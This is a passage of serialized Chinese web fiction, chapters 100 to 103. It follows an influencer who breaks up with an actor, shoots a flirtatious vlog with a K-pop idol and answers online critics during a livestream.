“你现在只是因为一时的占有欲作祟而已，你爱不爱我我能感受不到？除了送包、送房，我真的不知道我们这段感情还剩下什么？等不到的消息、永远我结尾的对话框、每次都是我先贴近你。” 宋玉妍带着哭腔一字一句的控诉，简直要让人的心脏跟着纠起来。 李株赫看着她一抽一抽，心脏涌出来的苦涩几乎要将他席卷。但听着对方对他的情意，又从这份苦涩里品出一丝不容易的甘甜。 想到他比对方大了六岁，年长者在感情里应该肩负起更多的责任。 把人从怀里拉了出来，看着她被水洗过眼眸，里面是晦暗的幽色和伤心，他的心脏就像被针扎过似的一痛。 “你想怎么办？”沙哑的声音像是破碎的手风琴，原本优美的旋律，现在却不成调性。 “我觉得我们两个不合适，你并不关心我，也不在乎我。我每天想要知道你的日常，你的心情，但是你从来都不会主动地来关心我。” 她的每一个字句都化作控诉的暴雨，一点一点地砸在他落下的心脏上。 电影里原本熟悉女音听不清里，李株赫只觉得耳鸣、大脑一片空白，放在她肩膀上的手滑落里一些。这让宋玉妍有了可乘之机，从他的桎梏中挣脱了。 两人之间唯一的那一点肌肤接触都被空气隔绝了，男人看着自己空落落的掌心，垂着的脸上带着一丝刀割版的痛苦。 李株赫能感觉到，她其实不如她说的那样爱自己。他此刻的痛苦，化作了成为灌溉宋玉妍野心的肥料。 那支艳丽的虞美人吸食他的情绪，美得愈加惊心动魄。 “那你想怎么样？” “欧巴，我们分手吧。”宋玉妍毫不犹豫把今天打过好几次的腹稿脱口而出，说完之后心中一片轻松。 电影里海风的呼啸声，像是在摇动着影厅里寂静无声的黑暗。知道她下定了决心，应该是没有办法挽回了。 李株赫能够通感屏幕里冷啸的海风，它把理智一点点吹回了他的脑海。 手臂因为血液不流通而僵硬，过了好一会，可能是十分钟有可能是半个小时。他听到自己比沙哑还要沙哑三分的嗓音吐出了一个字，“好。” 听到他的答应，宋玉妍像是舒了一口气，能够毫不费力地甩掉了麻烦，这让她离开的背影都显得轻快了很多。昏暗的屏幕光线打在她的手臂上，包裹着她薄薄的肌肤。 坐在原处的人，第一次把手伸进爆米花桶里，原本他是绝不会碰这样的不健康食物。但是此刻他很想用些什么，来填满他空虚的胃…… 焦糖的糖衣在他的口腔里融化，李株赫不觉甜蜜，只觉得苦涩，苦的他心脏在流泪。 翻涌的情绪不允许今夜的他如此安息下去，就像是海岸边的潮水，不断地舔着他黑暗的内心，退去了又更凶烈地拍来。 离开的宋玉妍路过布帐马车，刚刚那样消耗情绪，忽然觉得有些饿了。“姨母一串鱼饼、一份生拌牛肉哦。” 看着店家去忙碌了之后，她随便找了个空位坐 下来了，在ins上找了一张身材锻炼不错的男博主。随手点了个赞，然后把照片发给姜升润。 「亲故呐，你的身材可以练到这种程度吗？」 看到照片上如同健美先生一样块块分明的肌肉，宽肩窄腰、人鱼线若隐若现。 姜升润：「……」 「我试试，最近回归期有点忙，身材管理有些松懈了。」 宋玉妍看着那位被她点赞的博主关注了她，对方20多万的粉丝，让她丝毫没有回关的欲望。扶贫一次就够了。 「你们可是yg家的男模男团呢，怎么能让粉丝失望呢？kkk」 看到她这样说，姜升润看了眼现在的时间，晚上十点还算早，他常去的那家健身房教练应该还没有下班。 给人发消息预定了两个小时之后，又给他自己点了杯冰美式和鸡胸肉套餐。 看到他没有回复，宋玉妍拿起筷子专心致志地对付桌上的美食。 如果姜升润到时候不答应拍摄的话，那她也只能退而求其次了，去关注她ins列表里看看有没有合适的男博主。 回去之后，想到今天的ins还没有拍，布帐马车的照片也不想发。对于现在她人设来说，这样太掉价了。 宋玉妍打开melon，选了一首winner的歌，听了两遍之后。用iphoneX对着镜子拍摄，唱了一小段《fool》，选的恰好是副歌姜升润的part。 这个世界身体的嗓音条件还不错，就算是没有经过气息、音准训练，依靠天赋高音也轻轻松松的上去了。声压很稳，自带的慵懒磁性加上浴室混响的效果，在听感上不输一些小团的主唱。 「我服了这姐，我都变成你的粉丝了，你怎么还要继续蹭。」 「这位明明已经百万粉丝了，但还是孜孜不倦地蹭各种热度，怎么不算是一种敬业呢？kkk」 「yg家的受害人名单再加一，这位是抓着yg不放了，从bigbang到winner，都是受害者。」 「winner家的粉丝就别叫屈了，你们哥哥超爱的，队长带头点赞了。」 「虽然但是，唱的还是很好听的。」 「yg不愧是泡人聚集地，豆德是一点都不守啊。」 第100章 第一百章 在做硬拉的姜升润听到手机传来特别关心的提示音后，把器械放下。一边打开ins，一边对他自己充血的手臂肌肉很满意。 点开她的ins头像，磁性忧郁的声音混着浴室的天然混响传到他的耳朵。 “傻家伙，蠢家伙，现在才知道全是我的错……” 是他的part啊，姜升润揉了揉耳朵。作为制作人，他对人的音色很敏感。她的声音……很适合抒情曲。 宋玉妍唱到副歌的转音，轻轻松松绕过去了。阖着的眼皮轻撩了起来，勾起的眼尾带着难以言喻的妩媚。 如果是原唱唱得人心都揪起来，让人情不自禁地想到恋爱时的酸楚。那么她带着一股漫不经心的意味，仿佛是恋情里的抽离者。 她冷静地看着对方在这段感情里沦陷，离开时还要带着调笑说上那么一句：对啊，都是我的错那又能怎么呢？ 「你的嗓音很适合做我下一首主打曲的feat。」 姜升润不知道是因为真的喜欢她的音色而开玩笑，还是想和宋玉妍有更多的接触，发出了这样似真似假的邀约。 「我只唱坏女人之歌哦，kkk。」 写最温柔的旋律唱最渣的歌词，这已经是yg家的祖传艺能了。 李株赫的手机也传来了特别提示音，手指在他还没有反应过来的时候，已经点开宋玉妍的主页。 如同沙沙细雨一样的嗓音，吐出的每一个韩语词，都像是在唱他的心声。 对啊，他就是一个pabo。可怜地被人用完就甩，更可怜的是，他还心甘情愿。 本来点开软件想要把这首歌加入歌单，看到唱作人那一栏，李株赫又若无其事地退了出去。 虽然知道宋玉妍只是随便找一个理由想要甩掉他，但快要服兵役的他，不给带给她想要的。 她也有一点说的没有错，他们两人之间并不熟悉，轻易地在一起就像空中楼阁般的泡沫。 比如……他居然都不知道，她唱歌很不错。 「就算，分手了，我们依旧还是朋友吧。」 被李株赫保存的快拍，在重复地在放宋玉妍唱的这段伤感旋律，好像是要用这种方式，让一直酸胀的心脏脱敏。 等了很久很久，久到江南区的霓虹灯都熄灭了，才等来回复。 「当然。」 两人之间分的很体面，为什么不能做朋友？另一边和姜升润聊的火热的宋玉妍，则是这么可有可无地回了一句。 报了专业的演技提升班之后，崔宝祯才知道原来还有那么多要提升的空间。 她花大价钱请的老师也十分懂得因材施教，给她选的素材都是各大政客、财阀中演技佼佼者。 从每天去国会打卡的三星掌门人，到参加之前烛光集会的表现。一对一的教学，这给崔宝祯打开了新世界。 知道对方的学习进度之后，宋玉妍有些无奈，看来要先拍摄情侣特辑了。 和姜升润约好拍摄的这天是一个阴天。天空被一层厚厚乌云覆盖，偶尔几束不透明的光线从云层中穿透出来。但转眼，光线又重新被遮蔽。 她只涂了一个樱桃色的水润唇釉，拿着自拍稳定器开始录制素材。 “阿尼呦，呦罗布，今天我们要拍摄一起情侣画报。但是由于我目前单身，没有男友能陪我拍摄。所以我特别邀请了大势团的人气成员，作为我的一日男友，协助完成拍摄。可以猜猜看，是哪位幸运儿。” 宋玉妍的长视频就是有一种魔力，让人忍不住想要点下去。很多粉丝入坑的契机，也是因为她下饭的长视频。 在介绍完的空隙，她坐着直梯抵达了车库，走向她新买的保时捷911。 流线型的车身和黑宝石一样泛着光泽的颜色，内饰座椅的波尔多红和低调的外观大相径庭。 早就拿到驾照的宋玉妍熟练地启动，引擎发动的轰鸣声犹如情人之间的呢喃。 过去的这一段路途，她把拍摄停止了，如果爱豆家的住所被泄露，会给他们招来更多的私生。 等到了winner宿舍，按响门铃，开门的是他们组合内的制作人、编舞师李升勋。 姜升润应该是和他打过招呼了，他看着门外的宋玉妍神色不明。等看到镜头之后，脸上才挂起既不热络又不冷漠的营业式微笑。 看来yg内部应该都知道她和李株赫破裂的关系了。 “你先进来吧，队长他还在睡觉。” “阿尼阿塞哟。”宋玉妍一边鞠躬，一边把准备好的车厘子和韩牛套盒递了过去。 “初次拜访，打扰了。” “嗯。”他说完，也没有招呼的意思，自顾自地在餐桌前整理食材。 “我能在沙发那里坐一会等他吗？”她指了指客厅的沙发，完全没有被人忽视的无所适从。 “嗯。” 得到回复之后，宋玉妍自顾自地做到沙发上去。行云流水般地从托特包里拿出电脑，打开修图软件，开始p推广产品图的色调参数。 精致粉嫩的香水瓶经过她的操作，更加有诱惑力了，再配上介绍香调的文案，她把图片发给对接的商务。 对方回复没有问题之后，宋玉妍直接po到了自己的主页。 一直在注意她动作的李升勋，有些无语又有些疑惑地看了看室内的装潢。 对啊，这就是他们winner的宿舍，怎么搞得他才是那个不被期待的客人一样？这样奇怪的联想让他无所适从。 终于在做好所有的料理之后，他受不了宋玉妍这样反客为主，这让他在宿舍的公共区域里待得很不自在。 他走到姜升润的房间前，屈起手指敲在原木色的门板上。敲门声打破了尴尬的寂静。 丝毫没有打理发型的人迷迷糊糊打开门，头发变成了凌乱的鸡窝头。“hiong，怎么了？” “宋玉妍xi，已经在我们宿舍等你半个小时了。” 听到关键词的姜升润以不可思议的速度冲向洗漱间，“你怎么不早叫我？” 留在原地的李升勋有些无奈，虽然是队长，但也是忙内，还是需要照顾的呢。 姜升润冲了一个战斗澡，刷好牙、洗完脸、吹完头发的人涂好面霜、喷了香水、抓出头发纹理的人，不到十分钟就换好衣服出来。 “先来吃饭吧。”做好料理的人，先坐到餐桌前，他给忙内摆好了餐具。 “亲故呐，你要一起吃一点吗？”姜升润干脆跟着她的称呼，一起叫亲故。刘海乖巧地垂在额前，让他看起来像是清纯无垢的男大。 宋玉妍带着防蓝光平光镜，为了方便工作柔顺有光泽的长发被发夹半扣起。她转过头来，对着他笑了笑，“我吃过了，你们慢慢吃。” 姜升润看着她继续对着电脑工作，不由地在心底疑惑，怎么感觉网红更加忙碌？好像他每次给她发消息，对方不是拍摄就是在修图，要不就是在锻炼和写脚本。 爱豆除了 回归期会连轴转，其他时候倒还好。尤其是yg家的爱豆，一年能够回归两次，都算的上是劳模版的存在了。 等吃完之后，他把自家狗狗抱了过来。“它叫托特，你要和它玩一会吗？” 看到这只棕色的泰迪犬，宋玉妍脸色露出嫌弃的表情。 “你和它玩吧。” 原本以为女生都喜欢这种可爱宠物，姜升润想要以此搏她欢心，拉进两人之间距离的打算直接落空。 看着他在教狗狗礼貌，宋玉妍把电脑盖上，摄像头对准今天的“男主”。 “没错，今日我的一日男友就是winner的队长、词曲俱佳的唱作人——姜升润。” 听到她介绍，他也很配合地在镜头前打起招呼。 等喂完狗之后，姜升润跟着宋玉妍下楼，看到听起车库里保时捷直接挪不开眼。 “大发，这完全就是富人座驾好吗！？” 宋玉妍白了他一眼，“你才是版权富人好吗？你们公司分成又是出了名的大方。” 拉上安全带的时候，他还在说：“第一次坐脸赞的副驾，被豪车带着兜风，感觉有点微妙。” 没等他话说完，宋玉妍直接点火，一脚油门让车拐了个漂亮的弯道，推背感十足。 姜升润：…… “帮我举一下手机，谢谢。”驾驶座的人把支架换到他手上。 “这太阳真的很晒，你要不把敞篷给关上？”作为爱豆形象管理管理很重要。他一想到没有擦防晒霜，到时候晒伤之后又要去美容院疯狂做项目就心梗。 “今天是阴天。” “阴天也有紫外线阿西。” 宋玉妍连忙换到之前脚本上确定好的部分，“不是都说rapper的歌词里都是，豪车、美女、money吗？怎么你对兜风这样抗拒？” “不那样写就一点都不帅气了好吗！” “好吧。”她耸了耸肩，把敞篷关上。 一关上，原本两人之间那种美式公路上的自由感就消失了，密闭的空间让两人都有些不自在。 “在我看来，宋玉妍xi真的很厉害，能够在ins上收获那么多喜爱，是会有什么样的秘诀吗？”做惯队长说话会不自觉地带上一点官方的意味。 听到他这样说，宋玉妍右手从方向盘上松了下来，这个问题并不是定好的，而是对方即兴发挥。 “第一有意义地向上社交，第二不要为没有必要的事情消耗自己情绪、精力，第三不断努力。” 拥有能够匹配上野心的能力时，这让宋玉妍看起来像是一团跳动的火焰，张扬而又富有生气。 不知道是风吹得车窗呼呼作响，还是心跳剧烈到小脑打鼓，姜升润知道为什么会有那么多人被她吸引。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 第一百零一章 是演艺圈少见的活人感呐！姜升润感叹道。 就算yg家的爱豆相比于其他公司的艺人，能拥有更多的个性，偶尔他们还是会有自己只是公司手中提线木偶的感觉。 “放个歌？不然我顶级的车载设备就浪费了。” 宋玉妍戴上墨镜，用boss的车载音响放了winner今年的大爆曲《reallyreally》。 两人一时间都随着节奏轻轻摇动。虽然这设备比起姜升润专业录音室里的，显得粗糙，但和手机比起来，能听到的细节那可就太多了。 “说一下你对我们公司的看法？”这一段并不是台本上设定好的，也是他即兴发挥。 要是什么流程都固定好了，呈现出来的效果就很僵硬。 宋玉妍挑了挑眉，故作小心翼翼地说道：“实力很强。” “呀，阿西，这是什么话。”姜升润故作效果地抱怨道：“我们可是爱豆公司，脸蛋也还是很不错的。说说你觉得我们公司称得上是神颜的艺人。” 聊到这个话题，她就开始支支吾吾了，又不是花田sm，神颜哪有那么好评。 在他的再三要求下，必须说出来。宋玉妍这才回答：“我觉得的yg三大神颜，winner的金秦禹xi、演员部的李株赫xi，以及……” 因为前面两位都是男人，姜升润以为她不管是出于客套，还是抖包袱，最后一个提名都应该是他。 呼吸忍不住屏住了，能被有好感的对象夸赞长相，这也会让他害羞。 “以及2ne1的山兔子。” 看到姜升润的嘴角忽然撇了下来，宋玉妍笑得前俯后仰，不小心拍到了喇叭上。 滴滴的声音就像是两人心跳的节拍器，尤其副驾上男人的。 到了固定的美容室，在宋玉妍的要求下把他原本的金发染回了黑色。 到了拍摄的地方，姜升润看到阿玛尼的西装外套，震惊到瞪圆了双眼。 “大发，只是拍个照片这么大手笔吗？” 就算是拍摄杂志，爱豆都没有这么好的时尚资源。 “为了出片而已。” 等化好妆之后，宋玉妍换好渔网吊袜和鱼骨超短裙出来，一身黑里唯一装点的亮色是鞋底上的红。 换好西装的男人看着她，“你不是说拍摄的主题是boss&秘书吗？” 宋玉妍无辜地看着她，“对啊你禁欲，我性感，这样怎么不算办公室ol风呢？” 感觉上了贼船的姜升润懊恼，他现在就算跳船也来不及了。 答应她拍摄的原因很简单，排除一部分对她确实是有好感的原因，还存在一部分洗粉的意味。 原本能追随winner度过这两年风雨的都是真爱粉。但今年《reallyreally》的大爆带来了很多红人粉，他们的音源本来就是靠路人盘火起来的。所以想要借助这次拍摄，洗去一部分不花钱还不理智的粉丝。 事已至此他也只能顺着对方的要求，继续拍摄了。 这个摄影师很会运用光影，明明姜升润没有多余的表情，但是就是能把他柔和的眉眼拍出禁欲系的感觉。 宋玉妍看着西装板正的男人，总觉得少了点什么。他的五官实在太过于柔和了，性张力有些不太够。 她从自己包里翻出金丝框眼镜——霸总必备出装，把它扣到姜升润鼻梁上，这才满意地点了点头。 看着他不自然地推了推镜边，忽然觉得这味对了，就是要这样斯文败类的感觉 落地窗前身后女人半环着他，两人之间衣服的颜色几乎融为一体。只有她柔和白皙的皮肤和脚下浓艳的红色是唯二的色彩。 似有似无的暧昧，只看画面就能脑补两人之间的关系。 换了好几个姿势，有把她圈在办公桌前的、抱着文件夹不经意地撞上、手指无意间拉住他的lv领带结、高跟鞋蹭到他的西装裤腿边…… 虽然拍摄是爱豆的必修课，但是姜升润还是被整得有些面红耳赤，明明两人之间的并没有过多的接触。 不知道宋玉妍哪来这么多“奇思妙想”。 看着她走到摄影师旁边，一边看着成片一边交流着后期。他整个人瘫在沙发上，感觉自己拍摄出道时的公式照都没有这样累过。 他这样颓丧的氛围，让人立刻来了灵感。宋玉妍让他把西装外套脱掉，解开几颗衬衫扣子，腹肌的沟壑若隐若现。 而她则是拿着一杯红酒， 像是无意地往他身上倒，酒液顺着沟壑下沿，染红了原本洁白无瑕的衬衫边缘。男人微微仰头，喉结的线条十分明显，两人之间的主动权变了。 看着他错愕的表情，镜光的反射是最好的遮掩。 忽然有些可惜，这样的主题，果然还是……李株赫最合适。 只穿了一次就报废的tf衬衫，姜升润只觉得暴殄天物。 “拍摄结束了哦，图片出来后，到时候wuli亲故记得点赞转发哦，我的审美还是不错的。” 刚刚的主题像是让他代入了两人之间禁忌的身份。姜升润一边应和着宋玉妍，一边坐在浅灰色的沙发上，收拾好他的心情。 vlog一上线两天就引来百万播放，这样的数据是多少爱豆可望而不可即。宋玉妍凭借一己之力把yg送上世趋。 ＃yg三大神颜、＃yg家的实力，这样的词条正从搜索末尾往上慢慢爬。没有花多余的营销费就能完成kpi，没有看到成片的宣传部笑得合不拢嘴。 有些小公司看到宋玉妍的ins和YouTube账号影响力，并不输中型的综艺。开始打算盘把自家要么糊、要么新出的男团成员，打包过来拍两期vlog。 看到那些爱豆公司发来的白日做梦，她就就忍不住冷笑出声。看起来拍摄好像很容易，但前期后期要做的工作一点都不少，他们想得挺美，只想着坐享其成。 宋玉妍把那些邀约给推拒了，还是那句话：糊咖别来沾边！至于邀请姜升润，那完全就是互利互惠。 至少他的ins粉丝数比她多。 对于她向上社交的宣言，一部分男人骂她过于功利。但另一部分经历过metoo运动的女性，倒是很推崇，粉丝数缓慢地上涨到了150w。 就在宋玉妍看着不断上涨的粉丝数，在家美美地开香槟的时，yg家去年新推出的女团成员私下对她的点评被有心人爆出。 “宋玉妍阿西，就是一个不断蹭着yg家男艺人，吸血上位的花蛇而已。” 这个社会上，两个女人互相扯头花的戏码是大众最爱看的。更别说一个是女爱豆、一个是网红，身上都自带流量。 听着对方爆出来的录音，宋玉妍扯了扯嘴角，发现气到完全笑不出来。 忍一时越想越气，她现在就想给这个世界看热闹的人一巴掌，yg更是两巴掌。 他们没有好好管束艺人就算了，居然还给她带来了公关麻烦。这个事情不回击回去，怕是今天晚上都睡不好觉了。 李株赫：「抱歉……给你带来了困扰。」 就算是分手了，他也一直在关注宋玉妍的消息。看到她和其他人拍视频，笑得无拘无束，他的心里不好受。 就算知道宋玉妍没有把这段感情看在眼里，但感受到她的无动于衷是另外一回事了。 看到李株赫的信息，她迁怒了，现在看到和yg沾边的就烦。 划开音乐软件，发现她们两个多月之前回归过一次。听了两边，然后再看了一遍直拍，把动作和鼓点都烂熟于心。 客厅布置好，今天直播要推广的烧酒，被放在最前面。还放了一圈暖黄色的桌灯，增添了喝酒的氛围感。 等所有都准备好之后，她换了ck的吊带内衣和同色的工装裤，上身先披了一件外套。 发现没有任何问题，镜头的焦距也调好了，宋玉妍坐到茶几前面准备开播。ins的直播刚打开，是她的粉丝先过来打卡。 「今天也是围观名品美貌的一天呢，kkk。」 「感觉欧尼应该看不上姜升润，崇尚向上社交的清醒女人，是不会对只会说漂亮话的男爱豆动心的。」 「欧尼说的很有道理呢……完全就是偶像级别的发言呢！」 …… 这一场直播很多人很多人都在关注，不止吃瓜网友，yg家的艺人也在看热闹。李株赫更是不例外，就算分手之后，她的物料也一点不落。 就是收不到宋玉妍的消息让他心焦，明明两人说好还是朋友的。 不管评论的流言蜚语，她随手拿起一个发夹把倾泻而下的头发都给夹起来。 宋玉妍先专心致志地介绍烧酒：“这款桃子味的很适合和恋人一起喝，甜甜的。” 玻璃杯里被她塞满了冰块，清冽的酒液把她倒了进去。喝一口，丰润的嘴唇沾染上酒渍，更加诱人。 换了一个杯子，她倒上凤梨味烧酒，依旧介绍。 等把品牌方的任务完成之后，她看了一样在线观众人数，来到了5000人。 “关于我蹭热度的说法，我只想说，正主都没有出来说话，其他无关人员还是闭嘴的好。” 宋玉妍一边说，一边慢条斯理地收拾桌上的杯具和酒瓶。浅粉色的双颊和雾蒙蒙的眼眸，让她看起来像是微醺了。 “蹭GD、蹭winner热度的网红那么多，也只有我一个是百万粉丝。如果每一个和他们沾染上关系的网红，都能火到像我这样的程度，那他们应该去当曹溪宗的宗正大师，满足信众的愿望。” “大家记住，如果没有那个能力，你就算再能蹭，也吃不了这碗饭。” 第102章 第一百零二章 当初她们那个女团不也是打着bigbang师妹的名号出道的吗？winner不也是打着bigbang师弟的名号？作为yg的爹，他们当最大的血包被蹭吸血有说什么吗？ 宋玉妍微微仰着头、上翘的狐狸眼微眯起来，红润的嘴唇吐出来的话能让人气死。“与其每天把注意力放在别人身上，不如问问自己，登顶了吗？直拍破百万了吗？商务代言费涨了吗？我到现在为止，所有的资源都是靠自己，可没有公司帮我包装营销。” 听到这话，有部分心高气傲的粉丝气了个倒仰。 「你以为爱豆是那么容易做的吗？我家姐姐练习唱跳那么多年，舞台魅力是你学不来的。」 「就是，yg一直都是行业内的软柿子，现在什么阿猫阿狗都能来碰瓷。」 「网红碰瓷当红爱豆，大姐你别登月碰瓷了好吗？吃相太难看了」 「虽然我也不喜欢他们家新出的女团，一股东南亚味。但是这姐作为网红蹭一蹭、卖弄一下性感就能获得这么多粉丝，是不是有些太容易了？」 「爱豆虽然不如演员那样备受尊重，但也不是谁都可以的吧！你行你上啊！」 看到这样的评论，宋玉妍的反骨上来了。 她当即就把上身的外套脱掉。半露酥肩、ck新款内衣把她饱满美好的弧线勾勒出来，看得人挪不开眼。侧边的夹子取下来，头发随便一撩，自然的高颅顶有着头包脸的效果。 爱豆而已，谁还没有当过？看到她行让她上的评论，宋玉妍的嘴角根本压不下来。 就算过去这么久，她不知道在某个世界发狠练舞的灵魂记忆还在，就算动作不标准，律动都是刻在骨子里面的。 调好镜头的角度之后，她最后确认了一眼打光，用音响播放《ASIFIT‘SYOURLAST》伴奏。电子合成音和鼓点交替响起来，先定点站好。 等导入的旋律过完之后，宋玉妍直接开口唱跳了。因为不熟悉舞蹈动作，所以刚开始两个八拍动作有些没有跟上。 「我要笑了，这位姐真的以为爱豆那么好做？我承认她的嗓音确实是不错，但是这个舞蹈是真的有些滑稽。」 「离开了网红，谁还逗我笑啊。」 「说实话，yg家的爱豆什么都能嘲，唯一不能嘲的就是实力。不然会发现，小丑居然是你自己。」 宋玉妍没有关注屏幕上的留言，而是努力地稳定核心，多亏了她平时的运动。在找准节拍之后，顺着记忆把整首舞蹈给扒了下来。 就算有些动作被吞，身材所带来的观赏性弥 补了这一点瑕疵。 「我服了，这姐是真的可以，坐看那群粉丝打脸。」 「这有什么，她唱也只唱了那么一小段，进入副歌之后完全弃唱保跳了。动作也被吞的厉害。」 「嘴硬还是你们能嘴硬哈，热知识：女团成员不需要唱跳全曲。宋玉妍刚刚唱的那么多part，分量和小型团的主唱差不多了。」 另外一个大公司隔了一年出道的元气女团粉丝赶过来看热闹，当初一直拿她们团出道没有拿到一位说事。只能说风水轮流转，也轮到她们看对家的笑话了。 「我是编舞师，只能说这位要么是老天追着喂饭吃的天赋，要么是小时候练过很长一段时间的舞蹈。她的发力点、律动都是对的，就连碎拍的节奏都卡准了，就是可能不熟练。」 「表情管理也很不错，尤其是副歌。」 等最后一个定点part完成，宋玉妍转过来看着镜头，体内的酒精含量被挥发了。这样让她更加面若桃红，裸露在外的皮肤浮现出一些粉色，头发丝柔顺地落在肩头。 整个人呈现出一种血气的美艳，如果有丰盈华彩的打歌舞台的加持，这样的表现力恐怕又会多一支百万直拍。 宋玉妍凑近到镜头前面，有些凡尔赛道：“不是说我行我上吗？不好意思我还真会一点。以后我说我是新出女团的第五人，你们可不能说我蹭了哦～” 她对自己的表现还算满意，至少表管和律动都在，加上长相、身材，再怎么样都不会太差劲。 「我真的很爱这位姐，不管是发言还是实力。」 「对啊，粉爱豆的话有的时候都会感觉自己爱上的是一个人偶，但是宋姐活人感一向很足。」 「又不出小卡、台历圈钱，也不用花钱去演唱会、签售会，只要支持一下她的推广就好。我哭死，自从追星，就没有这样轻松省力过。」 看到这样的评论，她笑了，重新坐回到茶几边。柔和的灯光让她看起来温柔了许多，好像把她锐利的直线条都给融化了。 “追星嘛，最重要的就是开心，不管怎么样以自己的感受为主。”宋玉妍不喜欢说教，看到快一万的吃瓜人数之后，顺手打开播放软件。 “最后的时间就以winner最新回归的《lovemeloveme》和《island》结束吧。很轻松高级的编曲，听完就像是吃了薄荷巧克力让人清爽心空哦。” 说完她又补了一句：“请多多支持winner吧！尤其是我的亲故姜升润！” 随着柔和的夏日曲，宋玉妍给自己倒了杯烧酒，踩着节奏轻轻摇晃，带着莫名蛊人的味道。和屏幕碰了个杯，就结束这场直播了。 「呀，谢谢wuli亲故帮忙应援～」 看到姜升润的消息，她意味不明地回一句：「我还以为你会为“师妹团”打抱不平呢。」 这样的消息让人有些好笑，作为winner的队长，看到公司把资源都倾斜到新女团上，心底五味杂成。如果不是《reallyreally》的大爆，他们团都要被放弃，成为新团大火的养分。 所以……怎么可能会抱不平。 「怎么会呢，我们可是同年亲故啊～」 「拿下次有好的资源记得想到我哦。」 回完这一句，宋玉妍就准备去跳绳了，今天的运动任务还没有完成。 —— 李明珠关注宋玉妍很久了，最开始是因为她和GD的同款照片，但后面完全成为了她的唯粉。 因为这个姐是那种内核很稳、很强的性格，看上去不会被任何事情打到。 喜欢她这个人，所以想要模仿她的穿搭、想要拥有同款。现在布帐马车里，情侣必喝的桃子味烧酒一上架，被她下单了一箱，到cilo的同款腮红唇釉，再到ck的衣服、Nike的板鞋…… 虽然这些价格不算太便宜，但是是日常用品，实用性都很高。直到看到宋玉妍昨天晚上的直播，她只觉得太帅了。 穿上和她同款的穿搭，李明珠去弘大找了一家编舞房，在前台询问道：“你们这里可以教零基础的学员吗？” “是要参加sm、jyp的新一轮选秀吗？”前台准备给她推最贵的编舞师课程。 “阿尼，只是自己单纯喜欢而已。”拥有和宋玉妍相似的技能，也许能更贴近她的生活一点吧。 “好的，稍等。”前台有些纳闷了，今天好像很多的成人零基础学生过来报课，这是真的稀奇。 如果说之前宋玉妍只是在网红圈小有名气，那这一次的出圈让追星粉丝都对她的名字耳熟。商务接到手软的同时，李株赫给她打了电话。 “宋玉妍xi，你这段时间很忙吗？”他发出去的消息都石沉大海了，这一次干脆就打电话过来。 有的时侯语言的沟通能比文字更加打动人心。 李株赫的声音和之前比起来，柔和但微微沙哑了，好似秋日里剥落叶子后的枯枝在风中独自摇曳的声音。 他的心脏在电话被接通的那一刻剧烈跳动，就算对方没有开口，他一人的兵荒马乱，足以让握着手机的手颤动的不行。 很想问问对方有没有……想他，就像是他每天夜里那样。但是成年人的理智不让他把软肋宣之于口，所有的思念都只化作唇间问候的字句。 “还不错，账号发展的比我想象中的更好，得到了更多人的喜爱。” 这段时间属实是让宋玉妍得意了，太多好的东西找上门来。 平日里心高气傲的奢牌美妆都联系了，说要一起推广合作。其中居然还包括lamer，要知道它一瓶面霜就能比得上宋玉妍刚开始的一条推广费。 所以在打开快递，看到全套护肤品的时侯，她心底的激动无以复加。 听着她从声音里带出来的喜色，李株赫既是为她高兴，又是有些酸涩。“粗卡得米达，你得尝所愿了！” “还差得远呢！”强压住自己想要疯狂分享的心情，最近粉丝的增长速度几乎是以秒来刷新的。 宋玉妍冷静了一瞬，把话题转到他身上：“你最近没有休息好吗？为什么声音听起来有些闷。” 其实她也是关心他的不是吗？李株赫看着从抽屉里翻出来的卡地亚礼盒，手指捻了上去，不断地摩擦，好像这样能纾解他心底的思念。 “能一起吃个饭吗？我之前买的手镯，忘记给你了。” 既然思念无解，那就坦然地面对自己的心意，在入伍之前和宋玉妍多多见面吧。 “这样不太好吧，已经分手了。”她现在也不缺这一两件首饰，不想为了这个沾上麻烦。 “就当是……留个纪念吧，你知道我快要服兵役了。” 听到他示弱的语气，宋玉妍那所剩无几的愧疚心被唤醒。“那好吧。” 第103章 第一百零三章 到了约定好的咖啡馆，宋玉妍把鼻子上的墨镜往上推了推，推开黄铜色的把手进门。 里面的客人听到高跟鞋敲击的声音，忍不住把视线转了过来。这一看所有人，再不忍心 把视线挪开。 她就像是一个天生的聚光体，别人的瞩目只会让她身上的光芒更加璀璨。 只有窗边的李株赫视线依旧在窗外，像是沉浸在自己的思绪里。所有的头发都梳到脑后更显得他眉目深邃。 像是知道宋玉妍很喜欢他穿西装，就算是炎热的响午，银灰色的衬衫和西裤依旧一丝不苟，风纪扣板板正正地扣了起来。 禁欲矜贵的脸上多了一丝郁郁寡欢，这让他变得更加地吸引人。 宋玉妍脚步轻快地走到他的面前，屈起手指在桌上轻敲了两下。“好久不见，李株赫xi。” 发现她对自己的称呼改变自己，他的心脏不自觉收缩胀痛。比起敬语这样陌生疏离的称呼，他更喜欢对方甜腻地叫着欧巴。 “确实是好久不见。”雕塑一样的面庞分割着心情的阴晴，在转过来的那一刻，像是被艺术家赋予了生气，深刻的五官、柔和的眼眸。 李株赫屏住呼吸贪婪地看着宋玉妍，认真专注到都忘记眨眼了。 确实是很久没见，这段时间每一个晚上思念被他藏于心底，胀痛、思绪万千的脑海让他无法入眠。这让他只能数着秒，看着时钟一点一点的跳动，身体疲惫不堪之后才能浅眠一会。 酒精、尼古丁也不能纾解分毫，反而会加重头疼。直到看见宋玉妍的那一刻，心脏在叫嚣、原本的疼痛被缓解。 她有些不敢对上李株赫清冽的目光，面对这个被她利用过的男人，他眼睛里的脆弱、忧郁、放大了她内心的愧疚。 把人利用之后甩掉，只为了达到自己的目的，这让她看着那张帅气的面容动了点恻隐之心。虽然这点恻隐之心，像是猫哭耗子。 侍者送上来两杯鸡尾酒，渐变的浅蓝色液体、黄色的柠檬片在柯林杯里很好看。 看到酒被端上来，宋玉妍的脸上浮现出一抹讶异。这里不是……咖啡厅吗？ 李株赫没有和对方解释他是老板之一，在这家咖啡店里放调酒的工具也只是他的习惯而已。 “夏天喝莫吉托清爽一点，你最近……还好吗？” 这个问题不用她回复他就知道，宋玉妍现在是新晋的热搜常客。很多美妆品牌平时找推广都会优先选择艺人，但她现在也在合作范围之内。 李株赫现在一打开ins的主页，最顶端总会是和她相关的帖子。 “还不错。” 听到她亲口答复，他的担忧算是彻底放了下来。随后，心脏像是被人撕成一片片那样痛，这样是不是说明，他对宋玉妍来说毫无用处，复合是没有丝毫的可能了？ “你呢？最近过得怎么样？入伍进展还顺利吗？” 